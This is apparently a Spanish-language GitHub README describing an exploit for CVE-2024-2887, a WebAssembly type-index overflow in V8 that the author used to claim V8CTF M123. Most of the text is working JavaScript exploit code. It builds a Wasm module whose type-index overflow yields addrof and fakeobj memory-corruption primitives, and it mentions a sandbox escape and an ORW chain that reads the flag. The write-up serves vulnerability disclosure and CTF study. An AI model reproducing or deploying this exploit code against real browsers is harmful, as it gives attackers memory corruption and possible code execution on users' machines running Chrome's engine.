rycbar77/cve-2024-2887Para V8CTF M123
Esta es una breve descripción del CVE-2024-2887, que utilicé para reclamar V8CTF M123.
Cuando se definen más tipos que kV8MaxWasmTypes, lo cual se puede lograr añadiendo más tipos en RecGroup, el índice de tipos puede superar los 20 bits y entonces desbordarse. De este modo, dos tipos pueden considerarse iguales porque tienen el mismo heap_type.
Podemos lograr la primitiva addrof creando un array con objetos ref y leyendo a través de un array float64, y la primitiva fakeobj creando un array float64 y leyéndolo como objeto.
El constructor del módulo wasm se muestra a continuación:
const builder = new WasmModuleBuilder();
let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
builder.addType(makeSig([], []));
builder.startRecGroup();
for (var i = 0; i < o_cnt + 1; i++)
builder.addType(makeSig([], []));
builder.endRecGroup();
for (var i = 0; i < o_cnt - 1; i++)
builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);
overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);
builder.addFunction("addrof", typeId).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(2),
kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, arr,
kExprRefFunc, importId,
kExprCallRef, typeId1,
]);
builder.addFunction("fakeobj", typeId1).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(1),
kGCPrefix, kExprArrayNew, arr,
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
kExprRefFunc, importId2,
kExprCallRef, typeId,
]);
Para la evasión del sandbox, consulta V8-Sandbox-Escape-via-Regexp. El exploit final utiliza cadenas orw normales para escribir la flag a través de stderr.